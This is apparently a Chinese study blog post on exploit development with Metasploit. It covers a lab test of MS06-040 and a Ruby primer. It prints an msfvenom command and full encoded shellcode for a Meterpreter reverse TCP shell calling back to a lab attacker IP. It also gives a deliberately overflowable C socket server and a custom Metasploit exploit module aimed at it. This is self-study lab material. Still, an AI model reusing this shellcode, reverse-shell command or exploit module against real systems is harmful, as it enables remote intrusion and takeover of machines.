启程

尔其纤腰束素,迁延顾步。夏始春余,叶嫩花初。

缓冲区漏洞利用的一般过程

  1. 触发漏洞:缓冲区有多大,从哪里开始可以淹没返回地址,怎么注入代码等等
  2. 选择shellcode
  3. 设定shellcode的参数
  4. 选取编码和解码的算法
  5. exploit

2003年,Metasploit横空出世。

可以看到,如今的Metasploit已经十分成熟了:

Metasploit实战测试:MS06-040

漏洞简述

问题出在netapi32.dll中第317个导出函数NetpwPathCanonicalize()对于字符串参数的处理上。

环境搭建

从网上找了Windows 2000 SP4下载,开启RPC服务(Remote Procedure Call (RPC)和Remote Procedure Call (RPC) Locator)。

网络环境

测试

扫描结果如下:

配置:

攻击:

使用msfvenom制作Shellcode

新的MSF中msfvenom取代了msfpayloadmsfencode

目前来说,它的用法是这样的:

我们以windows/meterpreter/reverse_tcp为例:

用法:

msfvenom --payload windows/shell/bind_tcp --list-options

生成:

msfvenom --payload windows/meterpreter/reverse_tcp LHOST="172.16.56.1" LPORT="4444" --format c --arch x86 --platform windows --bad "\x00"

得到:

Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of c file: 1571 bytes
unsigned char buf[] =
"\xbf\xd2\xee\x0c\x84\xdb\xcc\xd9\x74\x24\xf4\x5d\x33\xc9\xb1"
"\x56\x31\x7d\x13\x83\xc5\x04\x03\x7d\xdd\x0c\xf9\x78\x09\x52"
"\x02\x81\xc9\x33\x8a\x64\xf8\x73\xe8\xed\xaa\x43\x7a\xa3\x46"
"\x2f\x2e\x50\xdd\x5d\xe7\x57\x56\xeb\xd1\x56\x67\x40\x21\xf8"
"\xeb\x9b\x76\xda\xd2\x53\x8b\x1b\x13\x89\x66\x49\xcc\xc5\xd5"
"\x7e\x79\x93\xe5\xf5\x31\x35\x6e\xe9\x81\x34\x5f\xbc\x9a\x6e"
"\x7f\x3e\x4f\x1b\x36\x58\x8c\x26\x80\xd3\x66\xdc\x13\x32\xb7"
"\x1d\xbf\x7b\x78\xec\xc1\xbc\xbe\x0f\xb4\xb4\xbd\xb2\xcf\x02"
"\xbc\x68\x45\x91\x66\xfa\xfd\x7d\x97\x2f\x9b\xf6\x9b\x84\xef"
"\x51\xbf\x1b\x23\xea\xbb\x90\xc2\x3d\x4a\xe2\xe0\x99\x17\xb0"
"\x89\xb8\xfd\x17\xb5\xdb\x5e\xc7\x13\x97\x72\x1c\x2e\xfa\x1a"
"\xd1\x03\x05\xda\x7d\x13\x76\xe8\x22\x8f\x10\x40\xaa\x09\xe6"
"\xd1\xbc\xa9\x38\x59\xac\x57\xb9\x99\xe4\x93\xed\xc9\x9e\x32"
"\x8e\x82\x5e\xba\x5b\x3e\x55\x2c\xc8\xae\x51\xad\x78\xcc\xa1"
"\xbc\x24\x59\x47\xee\x84\x09\xd8\x4f\x75\xe9\x88\x27\x9f\xe6"
"\xf7\x58\xa0\x2d\x90\xf3\x4f\x9b\xc8\x6b\xe9\x86\x83\x0a\xf6"
"\x1d\xee\x0d\x7c\x97\x0e\xc3\x75\xd2\x1c\x34\xe2\x1c\xdd\xc5"
"\x87\x1c\xb7\xc1\x01\x4b\x2f\xc8\x74\xbb\xf0\x33\x53\xb8\xf7"
"\xcc\x22\x88\x8c\xfb\xb0\xb4\xfa\x03\x55\x34\xfb\x55\x3f\x34"
"\x93\x01\x1b\x67\x86\x4d\xb6\x14\x1b\xd8\x39\x4c\xcf\x4b\x52"
"\x72\x36\xbb\xfd\x8d\x1d\xbf\xfa\x71\xe3\xe8\xa2\x19\x1b\xa9"
"\x52\xd9\x71\x29\x03\xb1\x8e\x06\xac\x71\x6e\x8d\xe5\x19\xe5"
"\x40\x47\xb8\xfa\x48\x09\x64\xfa\x7f\x92\x97\x81\xf0\x25\x58"
"\x76\x19\x42\x59\x76\x25\x74\x66\xa0\x1c\x02\xa9\x70\x1b\x1d"
"\x9c\xd5\x0a\xb4\xde\x4a\x4c\x9d";

将其放入XP中的通用shellcode调试模版,编译。

然后Attacker开启监听,配置完毕后在靶机运行上面编译过的程序:

彩蛋

它甚至可以直接生成exe!我们以弹计算器为例:

msfvenom --payload windows/exec cmd="calc" --format exe --out a.exe --arch x86 --platform windows --bad "\x00" --smallest

使用msfpescan扫描PE文件

搜索跳转寄存器:

搜索PPR(ROP技术的基本gadget):

Ruby语言简介

TryRuby可以提供一个简单的在线Ruby交互。

Hello world:

#!/usr/bin/env ruby

print "hello world\n"

变量以$开头,不分类型,不必提前声明。双引号内为可转义字符串(这一点和PowerShell很像),如

a = 4
b = 7
c = "a + b = #{a + b}\n"

print c

单引号内为纯字符串,不过如果出现单引号自身,依然要转义,但是有不同的方法:

# all is OK.
'that\'s a word'
%q{that's a word}
%q/that's a word/
%Q/that's a word/
%/that's a word/

数组:

a = [1, 'test', [2, 'test']]

hash表(即Python中字典):

a = {
    'hello' => "wunderbar!",
    'test' => "Oops..."
}

print(a['hello'])

函数:

def display(n)
    if n == 1
    then
        print "YOU GOT IT!!!"
    else
        print "YOU LOST IT..."
    end
end

display(1)

moduleclass与函数类似,只不过分别以moduleclass标明开始,以end标明结束。

傻瓜式exploit开发(unsolved)

我们针对一个有漏洞的server:

#include<iostream.h>
#include<winsock2.h>
#pragma comment(lib, "ws2_32.lib")

void msg_display(char * buf)
{
	char msg[200];
	strcpy(msg, buf);// overflow here, copy 0x200 to 200
	cout << "********************" << endl;
	cout << "received:" << endl;
	cout<<msg<<endl;
}

void main()
{
	int sock,msgsock,lenth,receive_len;
	struct sockaddr_in sock_server,sock_client;
	char buf[0x200]; //noticed it is 0x200
	
	WSADATA wsa;
	WSAStartup(MAKEWORD(1,1),&wsa);
	if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
	{
		cout<<sock<<"socket creating error!"<<endl;
		exit(1);
	}
	sock_server.sin_family=AF_INET;
	sock_server.sin_port=htons(7777);
	sock_server.sin_addr.s_addr=htonl(INADDR_ANY);
	if(bind(sock,(struct sockaddr*)&sock_server,sizeof(sock_server)))
	{
		cout<<"binging stream socket error!"<<endl;
	}
	cout<<"**************************************"<<endl;
	cout<<"     exploit target server 1.0	   "<<endl;
	cout<<"**************************************"<<endl;
	listen(sock,4);
	lenth=sizeof(struct sockaddr);
	do{
		msgsock=accept(sock,(struct sockaddr*)&sock_client,(int*)&lenth);
		if(msgsock==-1)
		{
			cout<<"accept error!"<<endl;
			break;
		}
		else 
			do
			{
				memset(buf,0,sizeof(buf));
				if((receive_len=recv(msgsock,buf,sizeof(buf),0))<0)
				{
					cout<<"reading stream message erro!"<<endl;
					receive_len=0; 
				}
				msg_display(buf);//trigged the overflow
			}while(receive_len);
			closesocket(msgsock);
	}while(1);
	WSACleanup();
}

开发一个exploit,并在MSF下运行。

这是一个非常简易的TCP socket程序。编译运行后,程序会在7777端口监听TCP,如果收到数据就在屏幕上打印。在main函数中buf数组大小被声明为0x200,在display函数中局部数组大小仅为200,因此在display函数中的strcpy操作将导致一个栈溢出。

我们编译运行,简单测试:

Attacker: 172.16.56.1

Target: 172.16.56.134

require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
	include Msf::Exploit::Remote::Tcp
	
	def initialize(info = {})
	    super(update_info(info,
		'Name'		=> 'rambo_test',
		'Platform'	=> 'win',
		'Targets'	=> [ 
					['Windows XP SP3',{'Ret' => 0x7C939DB0} ]
				   ],
		'Payload'       => {
					'Space'    => 220,
					'BadChars' => "\x00",
				    }
		))
	end 

	def exploit
		connect
		attack_buf = 'a' * 204 + [target['Ret']].pack('V') + payload.encoded
		sock.put(attack_buf)	
		handler
		disconnect
	end  
end

这里出了状况。我给failwest前辈发了E-mail,不过目前尚未得到前辈的回复。

用MSF发布PoC

越来越多的PoC会用MSF的exploit模块方式发布。后面我将专门学习Metasploit的使用并掌握它!

总结

可以发现,Metasploit比我们前几章的苦力轻松方便多了!工欲善其事,必先利其器。

另外,Metasploit的使用会让你的思维发生飞跃——hacking gadgets可以变得可积累、可重用。总之,它非常值得进一步学习。

Hacking is FUN!!!